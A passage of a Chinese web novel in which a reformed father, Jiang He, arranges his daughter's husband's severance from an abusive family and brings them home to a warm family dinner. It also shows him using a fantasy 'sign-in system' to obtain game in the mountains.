更没想到,他们最担心的赵张氏不会同意以及大不孝的问题,竟然**河这般轻易的就给化解规避过去了!
“看看,我就说吧,爹肯定有办法能够解决这件事情!”
**也面带笑意,一脸的与有荣焉之态。
说话间,赵春耕已然带着
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三份已经按了赵老太、赵富、赵贵等人手印的断亲文书走进了屋里。
先是看了一眼摆放在床角处的那袋粮食和满满一篮子的珍贵礼物,赵春耕的眉头轻挑。
不用问,这些东西肯定是江河父子带来的。
腊肉、白糖、猪油、布匹,还有大半袋的粮食……
啧啧啧!
这么多的好东西,都特娘的快要赶上他们家过年时置办的年货了,江河这狗东西还真是舍得啊!
能够给已经出了嫁的女儿家带来这么丰厚的探亲礼,足见江河对这个女儿的重视程度。
同时也说明,江河这个狗东西多半是找到了什么发财的门路,否则绝对不会突然间变得这么阔气!
心里这么想着,赵春耕缓步走到赵诚与江槐二人的跟前,深看了躺在床上的江诚一眼,轻声感叹道:
“江诚啊,你这也算是苦尽甘来,摊上了一个肯为你出头的好岳丈!”
“来吧,签了这份断亲文书之后,你与老宅那边就算是彻底断了关系,以后跟江槐好好过日子,逢年过节也别忘了多往你岳丈家走动走动。”
说着,赵春耕将三份备好的断亲文书递到赵诚的跟前,示意他在上面按下自己的手印。
“我知道了,谢谢春耕叔!”
赵诚用力点头,手臂轻抬,手掌有些颤抖的在断亲文书上按印画押。
手印落下,鲜红刺目,却也像是一道沉重的枷锁被彻底斩断。
赵诚看着文书上自己的指印,又看了看旁边赵张氏、赵富、赵贵、赵旺等人按下的指印,一直紧绷着的心神瞬时松懈了下来。
自此之后,他与老宅一家,再无半点儿关系了!
以后,他娘还有他的那三个“好”兄弟,以及赵家的其他族人,就再没有理由来明目张胆的欺辱他的妻儿,谋夺他的家宅和田产了!
而这一切,全都是拜他那位从来都没有见过面的岳丈所赐。
若非他这岳丈今日恰好过来,他是真的不敢想像,他与江槐还有三个孩子,该如何面对外面那群来势汹汹、不怀好意的“恶狼”。
老岳丈这一次,算是直接救了他们全家人的性命啊!
赵诚心中感激万分,甚至已经在心底暗暗发誓,若是他以后还能再好起来,必然会像侍奉自己亲生爹娘一样,侍奉自己这位老岳丈!
“好了,这断亲文书一式三份,你们留一份,赵家那边留一份,还有一份我明日会亲自送去县衙报备,为你们一家改籍立户,彻底与赵家断了亲属关系。”
说着,赵春耕抬手轻拍了拍赵诚的肩膀,语气缓和地轻声安抚道:
“好好养伤,以后……若是再有什么困难,可以让江槐来找叔,能帮的忙叔必不会袖手旁观。”
赵诚与江槐连忙出言道谢。
他们知道,赵春耕这位里正兼族长,突然间对他们这么客气,并不是因为他们自己多有面子,而是人家在给外面的江河面子。
他们的老爹(岳丈),刚刚在外面的连番举动,已然彻底威慑住了村里的这位德高望重的老族长。
第113章 跟爹回家吧!
赵春耕拿着两份双方全部都签订好的断亲文书,从屋里又回到了院门外。
他的身后,江槐与**也一同跟了出来。
**拉着大姐的胳膊,径直来到老爹的身前,满面崇拜的冲老爹伸了伸大拇指。
江槐被**拉拽着,身体有些僵硬的来到江河近前,小声的冲着江河叫了一声:“爹!”
她的眼神在看向江河时,虽然仍有一些畏惧与不自然,但同时也多出了几分释然与感激。
“诶~!好闺女!”
江河爽朗地高应了一声,开怀不已。
不管咋说,大女儿总算是叫了他一声爹,不再似之前那般冷冰疏远之态。
这说明他刚刚在外面所做的一切都没有白费,江槐这丫头总算是又重新接受他这个亲爹了。
另一边。
赵春耕随便抽出一份断亲文书交到赵老太的手中,懒得再跟他们多废话,挥手便将这些碍眼的家伙全都打发走了。
院门外看热闹的一众村民,见已经没什么热闹好看,便也逐渐的各自散去。
赵春耕拿着最后一份断亲文书走到江河面前,正色道:
“江河兄弟,明日一早老夫就会去县衙将这份断亲文书公证入籍,届时赵诚与赵家就算是彻底断了关系。”
“今日之事,老夫希望能到此为止,以后谁也不要再多生事端,你以为如何?”
江河了然点头,他明白赵春耕这话是什么意思。
无非就是担心他江某人会出尔反尔,断亲之后仍会继续找赵家人的麻烦,报复赵老太、赵富、赵贵及赵旺等人。
还别说,这要是原身那个狗东西的话,如此言而无信之事他还真能做得出来。
“赵里正放心,我江河说话算话。”
江河挺了挺胸膛,一本正经的向赵春耕保证道:
“只要他们以后安分守己,不再主动生事,我自然不会再来寻他们的麻烦。”
“另外,我女儿、女婿一家,以后在村子里自立门户,还要靠赵里正和各位乡亲多多照应……”
说着,江河伸手入怀,从怀里摸出一个小布袋。
里面装着约莫百来文钱,江河趁着与赵春耕拱手作别之际,悄然塞到他的手中,同时低声耳语道:
“今日劳烦赵里正和各位族老乡邻跑这一趟,耽误了不少工夫,这点心意,请赵里正代我分与今日辛苦的这些乡亲,算是我的一点谢意……”
赵春耕一愣,没想到江河还会来这一手。
塞进他手里的这些钱虽然感觉不是很多,但江河所表现出来的态度却很重要。
真是没想到啊!
江河这个二赖子,竟然会突然变得这么“懂规矩”、“会做人”,没有再像以前那样只知一味的蛮横、耍赖。
“这……这怎么好意思呢,江河兄弟实在是太客气了……”
赵春耕嘴上说着不好意思,双手却已经熟练地接过东西,并闪电般的揣进了袖口之中。
然后,他再看向江河的眼神都变得比之前更加和善热切了几分。
“江河兄弟你且放心,只要有老夫在,赵诚还有江槐这俩孩子,以后在村子里绝对没人敢再欺负他们!”
赵春耕和颜悦色地向江河做着保证。
事实上,经江河今日这般一闹,赵诚这两口子在村子里就已经算是出了名了。
村民们知道他们有这江河这样一个强悍且心黑手狠的娘家爹罩着,谁还敢再不开眼去招惹他们?
几句客套话说完,赵春耕便带着几个亲近之人也离开了。
一时间,院门外就只剩下江河、**与江槐这父子父女三人。
寒风吹过,卷起地上几片枯叶。
院门外瞬间安静下来,与刚才的喧嚣形成了鲜明对比。
江河转过身,看着站在自己面前,神情复杂却又透着几分忐忑的大女儿,不由开怀一笑。
“小槐花,跟爹回家吧!”
“你,赵诚还有三个孩子,全都随爹暂时住到下河村去,待到什么时候赵诚身上的伤病全都好了,再回来!”
啥?
江槐和**都愣住了。
“爹……您说什么?让我们跟您一起回下河村?”
江槐以为自己听错了,忍不住开口询问确认。
回娘家?
而且还带着重伤的丈夫和三个孩子?
这……这合适吗?
爹以前不是最烦赵诚,一直不愿让赵诚登门,嫌赵诚这个大女婿给他丢人吗?
怎么现在……却又主动邀请他们回去?
这也太反常了!
难道真如三弟所言,爹是因为磕到了脑袋,导致性情大变,脾气秉性什么的,跟以前完不一样了?
“对,跟爹一起回下河村!”
江河斩钉截铁地说道:
“赵诚伤成这样,需要安心静养。而你与三个孩子留在这里,我也不放心。”
“你那婆家虽然已经签了断亲文书,看似已经屈服认命,但人心毕竟难测,谁也不知道他们以后还会不会再暗中使坏,谋害你们。”
“听爹的,你们一家先跟我回去,等赵诚什么时候能下地了,有了自保之力,能护得住你们娘几个了,你们再回来不迟。”
说到这
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里,他又抬头看了一眼跟前的这座破落宅院,稍顿了顿,道:
“至于这房子和田地,又没有长腿,还能跑得了?”
“赵春耕既然已经做了保,短期内应该没人敢再打它们的主意。”
“就算是真有按捺不住想要伸手,这不是还有爹吗?了不起爹以后就多往这柳树村走动走动!”
闻言,江槐还没有什么反应,**便瞬间明白了老爹的打算,眼中放光,连忙开口帮腔道:
“是啊大姐,跟我们回去吧!家里有爹在,有我和二哥在,咱啥都不用怕!”
“反正现在是农闲时节,地里也没什么活,你在家待着也没啥事儿,回去多住几天又有什么?”
“等到什么时候姐夫的伤养好了,你们再回来也不迟!”
见爹和三弟都盼着她回去,江槐的心中不由泛起一丝暖意。
不过她并没有立刻答应下来,而是回头看了一眼屋里,轻声向江河、**二人说道:
“爹,小泽,这件事情我得跟阿诚商量一下,要不咱们还是回屋再说吧……”
江河微微点头,直接抬步又回到了堂屋,江槐、**姐弟紧随其后。
屋内,赵诚听到江河的这个提议之后,几乎是想都没想就直接点头同意了。
无他。
因为他知道,岳丈的安排才是眼下最妥帖、最安全的。
作为一个土生土长的柳树村人,他比江槐更清楚村里某些人卑劣缺德的嘴脸。
今天那帮人是被岳丈以雷霆手段暂时威慑住了,可岳丈要是走了呢?
他现在就是一个废人,如何能护得住妻儿周全?
跟着岳父走,看似要寄人篱下,可却是眼下最安全、最稳妥的选择。
“媳妇儿……”
赵诚挣扎着昂起头看向江槐,定声说道:
“咱听岳父的,既然岳父大人不嫌弃,那咱就跟岳父大人一起回下河村去住上一段时日!”
见赵诚如此干脆的点头同意,江槐心中最后一丝顾虑也随之消散不存。
她重重点头,转身看向江河,脆声道:
“爹,我们跟您回去!”
“只是……赵诚他现在行动不便,这一路上怕是要辛苦您和三弟了。”
江河闻言,不以为意地摆手道:
“一家人,说什么辛苦不辛苦的,跟爹别见外!”
说着,他又开口向旁边的**吩咐道:
“老三,你留在这里帮你姐收拾东西!”
“老子到外面去寻一辆独轮车来,一会儿咱们就用独轮车直接推着你姐和你姐夫他们回下河村……”
第114章 这不是梦……
当江河与**父子二人,轮流推着独轮车回到下河村时,天色已经擦黑。
夜间天寒,村外以及各家院门口,已然无人驻足闲聊,都各回各家,或是做晚饭,或是早早歇息了。
江槐抱着儿子坐在独轮车的侧边,看着近在眼前的下河村,心神不由一阵恍惚。
算起来,自打娘过世之后,她已经有整整三年都不曾再回来过了。
原以为,她以后可能都不会再有机会回娘家了。
没想到,这一次她再次归来,竟是被她以前最怕最厌也最恨的亲爹给亲自推着送回来的。
回想到半个时辰前,他们刚出家门时——
原本并没有想过要坐车的她,却被爹强硬且霸道的给强行扶上独轮车,并说出那句“看你都瘦成什么样了,哪里会有力气赶路,给老子安生坐着!”。
想到这些,江槐的心头不由再次泛起了一丝暖意。
一种她以前从来都没有感受到的,来自亲爹的关怀与护爱之意,直袭心头。
让她再一次的切身体会到,她以前的那个从来不把子女当人看的渣爹,是真的变了!
虽然他还是同样的暴脾气,同样的霸道与刚愎自用。
但是却再没有对她这个女儿恶言相向,再未将她视为可有可无且随时可以丢弃的赔钱货,而是真正的把她当成了——家人!
江槐很喜欢这种来自父亲的关爱与疼惜,可是又怕这只是一场梦幻,怕等什么时候梦醒了,一切又都变回了原来的样子。
就在江槐心头思绪翻涌、患得患失之际,独轮车已经吱呀呀地推到了江河家的院门前。
院门紧闭,院中无人。
不过里面的堂屋里却不时会传来孩童的欢笑打闹声。
站在院门前,透过门缝还有低矮的篱笆墙,可以看到里面的堂屋还有灶房位置,全都亮着烛火。
想来应是赵穗与罗灵妯娌俩正在灶房准备晚饭,而江源与江沫两个,则在堂屋里带着几个侄子侄女玩儿。
“老三,去叫门。”江河稳稳的停下车子,脸不红气不喘的轻声向**吩咐了一句。
**应声上前,用力拍了拍门板:“四弟!小妹!快来开门!爹和大姐他们回来了!”
江槐这时也抱着孩子从车上下来。
赵念、赵瞳两个小丫头见了,也翻身爬下了车,站在娘亲身后,满眼好奇的打量着这个她们从来都没有来过的姥爷的家。
片刻。
院子里面传来一阵慌乱的脚步声和稚嫩的应答声。
很快,门闩响动,院门被拉开一条缝,探出江沫儿怯生生的小脸。
当她看到门外站着的高大身影正是老爹时,紧张的面容不由一松。
只是还没等她开口说话,随后赶来的江源便已伸手把院门完全打开。
当看到站在门口处的江河、**还有江槐及两个从没见过的小女娃时,江源的眼睛瞬间瞪得溜圆。
“大……大姐?!”
江源的目光直接落在了眼圈有些微红的江槐身上,小时候被大姐带着玩耍、投喂、保护甚至被大姐追着打屁股的诸多记忆,瞬时被重新激活。
“大姐,你终于回来了,我好想你!”
江源激动地快步冲上前来,一把抱住江槐,眼圈也不受控制地开始泛红,甚至还冒出了一层水汽。
他今年十一岁,六年前江槐外嫁之前,他已经有五岁多了,很多事情都有了一定的记忆,对于江槐这个经常带他们玩儿的大姐,自然并不那么陌生。
“你是……老四?都长这么高了!”
江槐自然也认出了江源这个四弟,没想到当年那个经常跟在她屁股后面的淘气包,如今竟然已经长成了跟她快要一边高的半大小子。
江槐宠溺的抬手轻捏了捏江源的耳朵,然后目光便落在了站在江源身后,正有些怯生生的盯着她看的江沫儿。
“你是……沫儿?”
江槐的声音有些颤抖,眼眶更红了。
当年她出嫁时,江沫儿才三岁多点儿,还是个走路仍有些摇晃、说话奶声奶气的小团子。
她出嫁后,因为爹爹不喜,一年都不曾回来过两三次,跟江沫这个年岁最小的妹妹,自然也就逐渐变得生疏了。
如今,当年的小团子已经长成了大女孩,个头虽然没有江源高,却也相差没有多少。
更重要的是,江沫儿的眉眼间依稀能看出几分母亲的影子。
看到她,江槐心中莫名感到有些酸楚,不禁又想到了三年前被王三妮给生生逼死的娘亲,眼泪刷的一下就落了下来。
江沫儿被大姐的目光看得有些不好意思,低下头,小手揪着衣角,轻声叫了句:“大姐……”
这一声“大姐”,让江槐本就激动的情绪瞬间爆发开来,眼泪跟开了闸的河堤一样,哗啦啦的直往下流。
她将怀里的小儿子随手递给旁边的三弟**,然后走过去蹲下身,轻轻拉住江沫儿的小手,颤声道:
“沫儿都长这么大了……是大姐不好,这么久都没回来看你们……”
这时,正在灶房里忙活的赵穗和罗灵也听到了动静,双双走了出来。
看到院门口的景象,尤其是看到江槐这个大姑子时,妯娌俩全都愣住了。
“大妹?”
赵穗率先反应过来,她是家
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中长媳,嫁进江家的时候,江槐还没有出阁,对于这个大姑子她并不算陌生。
只是让她没想到的是,爹和老三只是去走个亲戚而已,咋还连夜把大姑子一家全都给带回来了?
“大姐!”罗灵也开口跟江槐招呼了一句。
她进门的晚,嫁给**时,江槐已经外嫁出阁,所以对于这个大姑姐,罗灵总共也没有见过几面,并不是很熟悉。
不过她知道**跟大姐的感情很好,爱屋及乌之下,她也天然的与这个大姑姐有些亲近。
“大嫂,三弟妹,好久不见!”
江槐抹了一把脸上的眼泪,起身与赵穗、罗灵打了声招呼。
“行了,都别愣着了,快来帮忙推车子,搬东西。外面天寒,有什么话咱们先回屋里再说也不迟!”
江河适时开口打断了几人的寒暄,直接开口向**江源吩咐道,
“老三老四,你们去把东边那间空屋子收拾出来,铺上干净被褥,把你们大姐夫抬进去,以后你们大姐一家就暂时住在东屋了!”
“赵穗、罗灵,你们两个继续回去灶房做饭,记得多煮点粥,要稠一点儿。再多炖点儿肉和菜,多煮几个鸡蛋,多烙几张大饼。”
“看你大姐还有几个孩子现在都瘦成什么样了,必须得多吃点儿,好好补补才行!”
“小沫儿,你带着赵念、赵瞳去屋里找江娴、江涛他们一起玩儿……”
很快,在场的所有人都**河给安排的明明白白。
没一会儿的工夫,江槐、赵诚这两口子就在东厢彻底的安顿了下来。
片刻。
夜幕完全降临,寒风被隔绝在院墙之外。
东厢房里,也已经点起了油灯,豆大的灯光一蹦一跳的闪烁着并不怎么明亮的光芒。
经过**、江源还有江槐几人的尽心收拾与打扫之后,这间原本堆砌杂物的屋子已然焕然一新。
赵诚被小心安置在铺了两层厚被子的木床上,伤腿下还垫了一层软垫。
此刻,赵诚已经因为太过疲惫,沉沉的昏睡了过去。
江槐静静的坐在床边,看着安心睡下的丈夫,听着堂屋方向传来的几个孩子开怀的欢笑声,眼泪又无声地滑落。
但这一次,不再是悲伤与委屈,也不再是惶恐与畏惧,而是一种酸楚过后、近乎贪婪的熨帖和安心。
她抬手轻轻抹去脸上的泪痕,低头看了眼沉睡中的丈夫,又扭头看向外面熟悉无比的院子,低声喃喃自语:
“这不是梦……”
“娘,你看到了吗,你的小槐花又回来了,咱们家现在……已经变得跟以前完全不一样了……”
第115章 这才是家……
**~!
这时,门口外传来轻轻的叩门声,将江槐从愣神中惊醒,然后她就听到了三弟媳罗灵特意压低了的声音:
“大姐,晚饭做好了,爹让我过来叫你过去一起吃饭。”
“姐夫要是没醒的话就让他先睡着,我们已经给姐夫盛了一份温在灶上,等他什么时候醒了,随时都能吃上热乎饭。”
江槐回过神儿来,连忙起身,深吸一口气,压下胸中翻涌的情绪,轻轻拉开了屋门。
门外,罗灵正端着一个木制托盘站在那里,盘子里放着几块枣泥糕和一些干果点心。
看到江槐出来,罗灵便满带温和笑意的将手中盘子递了过来,轻声道:
“大姐,这是爹让我送过来的,说是给孩子们准备的一些小零嘴。”
说着,她直接将手中的托盘递到江槐的手中,然后又开口催促道:
“大姐,你快把这些东西放回屋里,然后咱们一起去堂屋吃饭,爹和老三、大嫂他们都等着咱呢!”
江槐双手将托盘接过,看着摆放在托盘里的精致糕点及干果蜜饯,心中再次暖意浮现,感动得眼圈泛红。
她没有推辞拒绝,只是默默的点了点头,悄然回身将托盘放回到了屋子里的木桌上,然后才跟着罗灵一起走向堂屋。
刚到堂屋门口,一股混合着米香、肉香和面食焦香的诱人气息便扑面而来,让江槐忍不住吞咽了一口口水,肚子也不争气的咕咕叫了两声。
好香啊!
虽然之前在柳树村时,她已经吃了几块老爹带去的枣泥糕,可那几块糕点并不是正经的三餐饭食,也只是暂时压下了腹中的饥饿。
况且,距离她吃下那些枣泥糕已经过去了大半个时辰的时间,这期间他们奔波一路,情绪也跟着大起大落,腹中的那点儿吃食早就已经消耗了七七八八。
此刻闻到屋内这实实在在的饭菜香气,肠胃立刻发出了最诚实的**。
江槐脸上微微一热,有些不好意思。
罗灵掩嘴轻笑:“大姐,快进去吧,爹特意吩咐做了好多好吃的呢!”
江槐定了定神,迈步走进堂屋。
堂屋里,比她想象的还要明亮温暖。
桌上的油灯比东厢房那盏亮堂了许多,照得整个屋内的情景都清晰可见。
摆在正堂中的那张旧方桌已经被擦得干干净净,摆得满满当当。
桌子的正中间是一大盆油亮亮的白菜炖猪肉,肥瘦相间的肉块和嫩白翠绿的白菜浸在浓郁的汤汁里,散发着诱人的香味。
旁边还有一盘表皮金黄、焦香扑鼻的烧鸡,被撕成了方便取食的小块。
一海碗已经剥了壳的、白胖胖的水煮蛋放在一旁,足有二十余个。
除了这些,还有稠糊糊的白米粥,抹猪油的葱烙饼,以及一些家里腌制的小咸菜。
这一眼,看得江槐肚子更饿了,口腔里不停地分泌着口水。
餐桌的主位上,江槐看到自己的老爹正抱着她的小儿子赵逸,开怀地逗弄着,脸上和眼中满是慈爱之色,没有半分不耐烦。
见小赵逸的嘴巴上油亮亮的,江槐便知道老爹必然是已经提前喂他吃了不少好东西。
老爹的两边,分别坐着老三**和老四江源,再之后,是大嫂赵穗。
大嫂的旁边空了两个座位,应该是给她和三弟媳预留的。
桌子的最下首,是江沫儿、江娴、江涛、江夏、江琴,还有赵念赵瞳等几个孩子。
此刻,这群孩子全都规规矩矩地坐在了桌子一边,眼睛直勾勾地盯着桌上的饭菜,不停地咽着口水,但谁也没敢先动筷子。
也就是他们家的桌子足够大足够长,否则一下子坐上十几口人,还真的会有些坐不下。
见江槐进来,满桌人的目光都看了过来。
江河抬头,脸上带着不失威严的笑意:
“小槐花来了?快入座吧,就等你了。”
说着,他小心地将怀里已经吃饱喝足、开始打瞌睡的小外孙递给旁边的**抱着,抬手示意江槐在侧旁的空位上坐下。
赵穗此时也站起身,笑着招呼道:“大妹,快过来嫂子这边坐,粥都给你盛好了。”
江槐看着眼前这一大桌子的饭菜,再看看父亲和弟弟妹妹,还有大嫂、弟媳他们热情且殷切的目光,心中的那股暖流几乎都要溢出来了。
她依言在大嫂身边的空位上坐下,面前的粗陶碗里,已经盛好了大半碗热气腾腾的白米粥。
“开饭!”
见人已到齐,江河拿起筷子,没有过多言语,直接宣布开饭。
他先是夹起一只鸡腿,径直放到了江槐面前的粥碗里。
“谢谢爹!”
江槐有些受宠若惊,连忙用双手捧着自己的饭碗,接过江河夹过来的鸡腿。
从小到大,她在家里何曾享受到过这样的待遇。
不,不止是她,他们家里的任何一个孩子,包括大哥、二弟、三弟与四弟这样的男丁,甚至就连他们已经过世的亲娘,也都不曾吃过老爹亲自夹来的饭菜。
在江槐的记忆中,家里以前有什么好吃的好喝的,几乎全都是紧着爹一个人吃,爹若是吃不完,就会拿去老宅孝敬爷奶。
他们兄弟姐妹几个,根本就没有上桌的机会,很多时候甚至连一点儿剩菜剩饭都吃不上。
而现在,老爹不但跟他们这些子女同桌而食,竟然还亲自给她夹了一块整只烧鸡中最好吃的鸡腿,这绝对是破天荒的头一次!
这前后之间如此巨大的反差变化,让江槐一时之间有一种如在梦中的感觉。
江河冲她轻点了点头,然后抬头看向下面的孩子们,朗声道:
“行了,都别拘着了,想吃什么自己夹。在自己家用不着客气,定要吃到饱为止!”
有了他发话,桌上瞬间活络起来。
江源欢呼一声,迫不及待地夹起一大块颤巍巍、裹满汤汁的炖肉,塞进嘴里,烫得嘶嘶吸气也舍不得吐,满脸都是满足。
江沫儿见状,也不再有半点儿矜持,拿起筷子夹了一块她盯了好久的鸡皮,吃得满嘴流油。
江娴、江涛、江夏、江琴几个小的早就等不及了,得到爷爷的允许,立刻朝着自己喜欢的菜伸筷子。
赵念和赵瞳起初还有些胆怯、放不开,但在表哥表姐们的带动下,也小心翼翼地夹了一块菜盆里的五花肉,小口吃起来,眼睛越来越亮。
赵穗和罗灵看孩子们吃得香甜,脸上的笑意也越来越浓。
这桌饭菜是她们两个在
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灶房里张罗出来的,孩子们越喜欢,就越是对她们厨艺的肯定,她们巴不得孩子们能多吃一些呢。
**怀里抱着已经睡着的小外甥,自己也吃得飞快,一边咀嚼一边含糊不清地赞叹道:
“唔……这肉炖得……绝了!香!这烧鸡也好吃,大姐,你快多吃点儿!”
说着,又往江槐的碗里夹了一大块五花肉片,示意大姐赶紧吃。
江槐看着碗里堆得小山似的饭菜,又看看桌上狼吞虎咽却满脸幸福的家人,自己的心中也很快被这种温馨又幸福的感觉充满。
她没有再犹豫发呆,也拿起筷子加入到了干饭人的行列,吃得一点儿也不比旁边的老三老四慢。
白米粥浓稠软糯,米香浓郁。
炖肉肥而不腻,瘦而不柴,咸香适口。
就连那最普通的白菜,也吸饱了肉汁,变得鲜香无比。
烧鸡皮脆肉嫩,带着一种特别的焦香。
还有那水煮蛋,也是滑嫩可口……
每一样,每一口,都好吃得让她想哭。
她喜欢这饭桌上的氛围。
轻松,欢快,温暖,满足。
这才是一个正常的、有爱的家该有的样子,也是她从小到大一直都求而不得的幻想中的家庭环境。
江槐一边吃,一边近乎贪婪地感受着这一切。
尤其是看到自己的两个小女儿,也逐渐放开了胆子,开始主动夹取桌子上自己喜欢吃的菜肴。
看着她们小脸上沾着饭粒却笑容灿烂的样子,江槐心中的满足感与幸福感,越发的充盈四溢!
一顿饭,吃了很久。
直到每个人都吃得肚皮滚圆,桌上还剩下不少饭菜——尤其是那盆白菜炖肉,分量实在太足了,根本就吃不完。
“剩下的,明早热了再吃。”
江河发话,语气平常,仿佛这样丰盛的饭菜就只是一顿家常便饭而已。
“时间不早了,我先歇着了,你们一会儿收拾好,也都歇下吧。”
“明天老二他们一家也要回来,早上我会进山打两只野鸡回来,就别给我留饭了。”
说完,江河径直回了里屋,躺在床上休息了。
他一离开,几个小辈就更显轻松,聚在一起,叽叽喳喳的小声说着话。
赵穗和罗灵开始收拾桌上的残局,江槐想要帮忙,却被妯娌俩给挡了回去,并叮嘱她回屋照看赵诚,没事了也早点儿歇着。
江槐争不过她们,只能抱着已经熟睡的儿子,领着赵念与赵瞳一起回到东厢房。
房间里,赵诚还在沉睡,呼吸平稳,甚至还有一些轻微的呼噜声,看样子一时半刻应该醒不了。
江槐将小儿子放在床的里侧,盖好被子。
之后又哄着赵念和赵瞳也上了床,两个丫头跑了一天,吃饱喝足之后也都犯了困,很快就进入了梦乡。
江槐起身调了一下灯芯,只留一点豆大的微光照亮。
然后她贴身斜倚在赵诚的身边,听着外面堂屋里隐约传来的收拾碗筷及孩子们被催促洗漱的细微声响。
这些声音,不再是令人心烦的嘈杂,而是让她无比安心的背景音。
她靠在床头,闭上眼,感受着胃里的饱足和心头的温暖,很快也进入到了甜美的梦乡之中。
第116章 爹,你太厉害了!
翌日。
清晨。
江河再次起了个大早。
当他穿好衣服,从里屋走出来时,外面的天色才刚刚有了一丝光亮,太阳都还没有从东边完全露出头来。
他推开堂屋的房门,跨步走至当院。
之后就看到**、江源兄弟二人快速凑了过来,眼巴巴的看着他叫了一声:“爹!”
兄弟二人身上都背了一只竹篓,手中各自拿着一把生了锈的赶山刀,满眼希冀的看着江河。
不用问,江河也知道,他们这是想要跟着自己一起进山狩猎。
看着这小哥俩眼中毫不掩饰的渴望和跃跃欲试,江河不由一阵头疼。
虽然他之前已经答应过他们,以后有空的时候就带他们进山。
可是今天,他只是单纯的想要到后山签个到,然后再“捡”些野鸡、蘑菇什么的回来加个餐,并不想在山里多待。
这两个跟屁虫若是一直跟着他,他还怎么偷懒?
“爹,带我们一起去吧!”见老爹看着他们不说话,**急切地开口说道,“我们保证不添乱,能帮着背东西,还能打下手!”
江源也用力点头,他今年十一岁,虽然身子骨并没有那么强壮,但常年干农活,也有把子力气,尤其是这几天连着吃了几顿饱饭,感觉浑身都是劲儿。
江河看着眼前两个满脸期盼的儿子,心中快速权衡。
带他们去,自己“捡”东西的计划确实会受影响,但反过来想,这未必不是个机会。
一来,可以名正言顺地“展示”一些收获,让家里人对他获取食物的能力有个“合理”的认知。
二来,也能带着两个小子熟悉山林,学点东西,以后或许真能成为不错的帮手。
这么想着,江河心中很快有了计较。
“真想跟着去?”江河淡然开口向两个儿子问道。
“想!”兄弟俩异口同声,眼神更亮了。
“行,想要跟老子进山,没有问题!”江河微微点头,而后语气严肃的向二人说道:“但有三条规矩,你们必须要严格遵守。”
**、江源同时精神一振,竖起了耳朵认真听着。
“第一,进了山,一切听我指挥,我让走就走,让停就停,不许乱跑,更不许私自行动。”
“第二,眼睛放亮点,多看多听少说话,注意脚下和周围,别给我惹麻烦。”
“第三,要是觉得累或者怕了,趁早说,别硬撑,免得最后会拖累大家。”
说到这里,江河声音稍顿,目光扫向二人:
“以上这些,你们若是都能做到,便可以跟我入山,不然的话……”
“能!我们能做到!”
不等江河把话说完,**和江源便齐声开口,大声保证道:
“爹,我们能做到,进山后我们一切都听爹的!”
“既如此,那你们就跟我一起去吧!”江河终于松了口,开口向二人交待道:“去,全都回屋换双结实点的鞋子,裤腿用布条扎紧,再带点干粮和水。”
“诶!”兄弟俩见老爹答应了,顿时喜出望外,连忙跑回屋去准备。
趁着这个时间,江河自己也快速整理了一下自己的赶山“装备”。
他从物品栏里“取出”一把锋利的柴刀,一些细盐、药品和生火用的火折子,一股脑地全都塞到了他进山背的那只竹篓里。
等到**和江源全部准备妥当,从屋里出来,父子三人便悄然出了院门,踏着晨露,走向村后那片笼罩在薄雾中的山林。
清晨的山林空气清冽,草木上挂着露珠。
走在前面开路的江河,步伐不快,但却稳健至极,目光锐利地扫视着四周。
**和江源一左一右跟在后面,既兴奋又紧张,努力模仿着老爹的样子,稳步前行。
走了约两刻钟后,三人已经完全进入密林,再回头时,已看不到下河村的影子。
江河带着两个儿子来到一处地势相对平缓的山林空地,缓缓停下了脚步。
“就这儿吧。”
“啊?爹,咱们不往里走了?”
**有些疑惑,这里离村子太近了,平时村民砍柴挖野菜都在这附近,哪里会有什么像样的猎物或山货?
“急什么?”江河不满地轻瞥了他一眼,“打猎不是闷头往里冲。先看看这附近有什么。”
“老三,你去左边那片灌木丛仔细瞧瞧,有没有野鸡或者兔子活动的痕迹?”
“老四,你到右边那几棵老树底下,看看有没有蘑菇或是野果。”
**、江源不敢违背老爹的命令,同时应了一声,便分别朝着左右两边移动。
把两个精力旺盛的小子支开,江河自己则走到一棵歪脖子老榆树下,假装观察树上的鸟窝,心中默念:
“签到!”
“叮,签到地点刷新成功,签到地——三河县,天姥山!”
“叮!恭喜宿主签到成功,触发五倍暴击奖励,获得铜钱50文*5,什锦野鸡2只*5,野猪獾1只*5,五十年份何首乌1株*5!”
啧!
五倍暴击奖励,还算不错!
听到这悦耳的签到奖励提示,江河的心情大好。
十只野鸡,五只猪獾,还有五株五十年份的何首乌,外加两百五十文的铜钱。
这次的签到奖励,可要比上次他在这天姥山中签到获得的奖励丰厚得多。
尤其是那五株五十年份的何首乌,若是拿到安民医馆去售卖,肯定能卖出一个好价钱。
江河强压下心中的喜悦,脸上依旧保持着沉稳淡定之态。
他迅速地观察了一下周围的环境。
左边,**正猫着腰,在一丛荆棘后面小心翼翼地拨弄着什么,似乎有所发现。
右边,江源则仰着头,在一棵野柿子树下转悠,树梢上挂着几个干瘪的柿子。
时机正好,就是现在。
江河先是走到不远处一片茂密的、足半人高的草丛边,用柴刀拨开草丛,嘴里发出“咦”的一声。
然后弯腰探身,从草丛深处“拖”出了两只被草藤紧紧缠着翅膀、已经死去多时的肥硕野鸡。
接着,他又在不远处找到一个被枯叶覆盖着的约有一人多深天然陷阱,然后又很巧合地“发现”了一只落入陷阱中的肥硕猪獾。
做完这些,他扬声向**与江源呼喊道:
“老三,老四,快过来!这儿有发现!
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”
**和江源闻声,连忙小跑着凑了过来。
**手里捧着几枚白皮野鸡蛋,江源则拿着两个干瘪的野柿子。
当两人跑到近前,看到老爹手中拎着的那两只肥嘟嘟的野鸡,还有掉进深坑中一动不动的那只体型肥硕的野猪獾时,眼珠子都快瞪出来了。
“野鸡!还是两只?!”
“还有……这坑里躺着的是……獾子?!”
**的声音因为激动而有些变调。
“爹!你……你怎么找到的?这才多大一会儿啊,你竟然就猎到了这么多猎物?!”
江源简直不敢相信自己的眼睛。他们刚才也在附近找了半天,怎么就什么都没发现?
“也是运气好。”
江河言简意赅,指着旁边的草丛和眼前的深坑道:
“那边的草深而密,这两只野鸡应该是被什么东西给惊着了,慌不择路冲进了草丛里,被缠住了翅膀。”
“这獾子嘛,应该是不小心掉进这深坑里,直接摔**。这大山里的事,就是这样,充满了各种各样的巧合,说不清。”
这解释漏洞不少,但**与江源都少有进山狩猎,又哪能分辨得清楚,自然是老爹说什么他们就信什么了。
“爹,你太厉害了!才刚进山,就找到了这么多的猎物!”江源满眼的崇拜之色。
他才不管什么运气不运气,老爹能够在山林的外围得到这么多的猎物,那就是老爹的本事。
“行了,都别愣着,赶紧下去把这只獾子捞出来!”
“我来!”
